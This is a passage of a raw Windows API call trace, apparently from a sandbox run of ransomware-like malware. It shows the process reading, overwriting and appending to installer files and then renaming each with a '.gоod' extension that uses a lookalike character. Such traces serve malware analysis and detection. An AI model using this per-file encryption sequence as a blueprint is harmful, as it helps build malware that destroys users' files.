SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee690) returned 1 [0074.314] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi", lpFilePart=0x0) returned 0x26 [0074.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0074.340] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0074.341] GetFileType (hFile=0x6b4) returned 0x1 [0074.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0074.341] GetFileType (hFile=0x6b4) returned 0x1 [0074.341] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x1000 [0074.341] ReadFile (in: hFile=0x6b4, lpBuffer=0x36ba9c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6f8, lpOverlapped=0x0 | out: lpBuffer=0x36ba9c8*, lpNumberOfBytesRead=0x1f6ee6f8*=0x1000, lpOverlapped=0x0) returned 1 [0074.343] CloseHandle (hObject=0x6b4) returned 1 [0074.343] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi", lpFilePart=0x0) returned 0x26 [0074.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0074.343] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0074.343] GetFileType (hFile=0x6b4) returned 0x1 [0074.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0074.343] GetFileType (hFile=0x6b4) returned 0x1 [0074.343] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x2d200 [0074.343] WriteFile (in: hFile=0x6b4, lpBuffer=0x36bbc28*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ee618, lpOverlapped=0x0 | out: lpBuffer=0x36bbc28*, lpNumberOfBytesWritten=0x1f6ee618*=0x10, lpOverlapped=0x0) returned 1 [0074.344] CloseHandle (hObject=0x6b4) returned 1 [0074.349] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi", lpFilePart=0x0) returned 0x26 [0074.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0074.350] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0074.350] GetFileType (hFile=0x6b4) returned 0x1 [0074.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0074.350] GetFileType (hFile=0x6b4) returned 0x1 [0074.350] ReadFile (in: hFile=0x6b4, lpBuffer=0x36bded0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6a8, lpOverlapped=0x0 | out: lpBuffer=0x36bded0*, lpNumberOfBytesRead=0x1f6ee6a8*=0x1000, lpOverlapped=0x0) returned 1 [0074.552] CloseHandle (hObject=0x6b4) returned 1 [0074.553] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi", lpFilePart=0x0) returned 0x26 [0074.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0074.553] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0074.553] GetFileType (hFile=0x6b4) returned 0x1 [0074.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0074.553] GetFileType (hFile=0x6b4) returned 0x1 [0074.553] WriteFile (in: hFile=0x6b4, lpBuffer=0x31be2f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ee758, lpOverlapped=0x0 | out: lpBuffer=0x31be2f0*, lpNumberOfBytesWritten=0x1f6ee758*=0x1010, lpOverlapped=0x0) returned 1 [0074.553] CloseHandle (hObject=0x6b4) returned 1 [0074.557] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi", lpFilePart=0x0) returned 0x26 [0074.557] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.gоod", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.gоod", lpFilePart=0x0) returned 0x2b [0074.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee690) returned 1 [0074.557] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0x1f6ee770 | out: lpFileInformation=0x1f6ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x28a62cf7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2d210)) returned 1 [0074.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee650) returned 1 [0074.557] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.gоod" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.gоod")) returned 1 [0074.558] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi", lpFilePart=0x0) returned 0x26 [0074.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee6d0) returned 1 [0074.558] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0x31c8150 | out: lpFileInformation=0x31c8150*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200)) returned 1 [0074.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee690) returned 1 [0074.558] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi", lpFilePart=0x0) returned 0x26 [0074.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0074.558] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0074.558] GetFileType (hFile=0x6b4) returned 0x1 [0074.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0074.559] GetFileType (hFile=0x6b4) returned 0x1 [0074.559] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x1000 [0074.559] ReadFile (in: hFile=0x6b4, lpBuffer=0x31c84f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6f8, lpOverlapped=0x0 | out: lpBuffer=0x31c84f8*, lpNumberOfBytesRead=0x1f6ee6f8*=0x1000, lpOverlapped=0x0) returned 1 [0074.764] CloseHandle (hObject=0x6b4) returned 1 [0074.764] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi", lpFilePart=0x0) returned 0x26 [0074.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0074.764] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0074.764] GetFileType (hFile=0x6b4) returned 0x1 [0074.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0074.764] GetFileType (hFile=0x6b4) returned 0x1 [0074.764] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x17200 [0074.764] WriteFile (in: hFile=0x6b4, lpBuffer=0x335b748*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ee618, lpOverlapped=0x0 | out: lpBuffer=0x335b748*, lpNumberOfBytesWritten=0x1f6ee618*=0x10, lpOverlapped=0x0) returned 1 [0074.765] CloseHandle (hObject=0x6b4) returned 1 [0074.768] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi", lpFilePart=0x0) returned 0x26 [0074.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0074.768] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0074.769] GetFileType (hFile=0x6b4) returned 0x1 [0074.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0074.769] GetFileType (hFile=0x6b4) returned 0x1 [0074.769] ReadFile (in: hFile=0x6b4, lpBuffer=0x335da10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6a8, lpOverlapped=0x0 | out: lpBuffer=0x335da10*, lpNumberOfBytesRead=0x1f6ee6a8*=0x1000, lpOverlapped=0x0) returned 1 [0075.161] CloseHandle (hObject=0x6b4) returned 1 [0075.161] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi", lpFilePart=0x0) returned 0x26 [0075.162] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0075.162] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0075.162] GetFileType (hFile=0x6b4) returned 0x1 [0075.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0075.162] GetFileType (hFile=0x6b4) returned 0x1 [0075.162] WriteFile (in: hFile=0x6b4, lpBuffer=0x31f09e8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ee758, lpOverlapped=0x0 | out: lpBuffer=0x31f09e8*, lpNumberOfBytesWritten=0x1f6ee758*=0x1010, lpOverlapped=0x0) returned 1 [0075.162] CloseHandle (hObject=0x6b4) returned 1 [0075.165] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi", lpFilePart=0x0) returned 0x26 [0075.165] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.gоod", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.gоod", lpFilePart=0x0) returned 0x2b [0075.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee690) returned 1 [0075.165] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0x1f6ee770 | out: lpFileInformation=0x1f6ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x29032688, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x17210)) returned 1 [0075.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee650) returned 1 [0075.165] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), lpNewFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.gоod" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.gоod")) returned 1 [0075.165] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Setup.exe", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Setup.exe", lpFilePart=0x0) returned 0x1f [0075.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee6d0) returned 1 [0075.166] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), fInfoLevelId=0x0, lpFileInformation=0x320c400 | out: lpFileInformation=0x320c400*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148)) returned 1 [0075.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee690) returned 1 [0075.198] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Setup.exe", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Setup.exe", lpFilePart=0x0) returned 0x1f [0075.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0075.198] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0075.198] GetFileType (hFile=0x6b4) returned 0x1 [0075.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0075.198] GetFileType (hFile=0x6b4) returned 0x1 [0075.198] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x1000 [0075.198] ReadFile (in: hFile=0x6b4, lpBuffer=0x320c768, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6f8, lpOverlapped=0x0 | out: lpBuffer=0x320c768*, lpNumberOfBytesRead=0x1f6ee6f8*=0x1000, lpOverlapped=0x0) returned 1 [0075.201] CloseHandle (hObject=0x6b4) returned 1 [0075.201] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Setup.exe", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Setup.exe", lpFilePart=0x0) returned 0x1f [0075.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0075.201] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0075.201] GetFileType (hFile=0x6b4) returned 0x1 [0075.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0075.201] GetFileType (hFile=0x6b4) returned 0x1 [0075.201] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x13148 [0075.201] WriteFile (in: hFile=0x6b4, lpBuffer=0x320dae8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ee618, lpOverlapped=0x0 | out: lpBuffer=0x320dae8*, lpNumberOfBytesWritten=0x1f6ee618*=0x10, lpOverlapped=0x0) returned 1 [0075.202] CloseHandle (hObject=0x6b4) returned 1 [0075.205] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Setup.exe", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Setup.exe", lpFilePart=0x0) returned 0x1f [0075.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0075.205] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0075.205] GetFileType (hFile=0x6b4) returned 0x1 [0075.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0075.205] GetFileType (hFile=0x6b4) returned 0x1 [0075.206] ReadFile (in: hFile=0x6b4, lpBuffer=0x320fd50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6a8, lpOverlapped=0x0 | out: lpBuffer=0x320fd50*, lpNumberOfBytesRead=0x1f6ee6a8*=0x1000, lpOverlapped=0x0) returned 1 [0075.478] CloseHandle (hObject=0x6b4) returned 1 [0075.479] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Setup.exe", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Setup.exe", lpFilePart=0x0) returned 0x1f [0075.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0075.479] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0075.479] GetFileType (hFile=0x6b4) returned 0x1 [0075.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0075.479] GetFileType (hFile=0x6b4) returned 0x1 [0075.479] WriteFile (in: hFile=0x6b4, lpBuffer=0x320eb00*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ee758, lpOverlapped=0x0 | out: lpBuffer=0x320eb00*, lpNumberOfBytesWritten=0x1f6ee758*=0x1010, lpOverlapped=0x0) returned 1 [0075.479] CloseHandle (hObject=0x6b4) returned 1 [0075.482] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Setup.exe", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Setup.exe", lpFilePart=0x0) returned 0x1f [0075.482] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Setup.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Setup.exe.gоod", lpFilePart=0x0) returned 0x24 [0075.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee690) returned 1 [0075.482] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f6ee770 | out: lpFileInformation=0x1f6ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0x29354d7d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x13158)) returned 1 [0075.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee650) returned 1 [0075.482] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), lpNewFileName="C:\\588bce7c90097ed212\\Setup.exe.gоod" (normalized: "c:\\588bce7c90097ed212\\setup.exe.gоod")) returned 1 [0075.482] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\SetupUi.xsd", lpFilePart=0x0) returned 0x21 [0075.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee6d0) returned 1 [0075.483] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), fInfoLevelId=0x0, lpFileInformation=0x3432260 | out: lpFileInformation=0x3432260*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8)) returned 1 [0075.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee690) returned 1 [0075.483] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\SetupUi.xsd", lpFilePart=0x0) returned 0x21 [0075.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0075.483] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0075.483] GetFileType (hFile=0x6b4) returned 0x1 [0075.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0075.483] GetFileType (hFile=0x6b4) returned 0x1 [0075.483] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x1000 [0075.483] ReadFile (in: hFile=0x6b4, lpBuffer=0x34325d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6f8, lpOverlapped=0x0 | out: lpBuffer=0x34325d8*, lpNumberOfBytesRead=0x1f6ee6f8*=0x1000, lpOverlapped=0x0) returned 1 [0075.486] CloseHandle (hObject=0x6b4) returned 1 [0075.486] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\SetupUi.xsd", lpFilePart=0x0) returned 0x21 [0075.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0075.486] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0075.486] GetFileType (hFile=0x6b4) returned 0x1 [0075.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0075.486] GetFileType (hFile=0x6b4) returned 0x1 [0075.486] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x75a8 [0075.486] WriteFile (in: hFile=0x6b4, lpBuffer=0x3433820*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ee618, lpOverlapped=0x0 | out: lpBuffer=0x3433820*, lpNumberOfBytesWritten=0x1f6ee618*=0x10, lpOverlapped=0x0) returned 1 [0075.487] CloseHandle (hObject=0x6b4) returned 1 [0075.489] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\SetupUi.xsd", lpFilePart=0x0) returned 0x21 [0075.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0075.489] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: 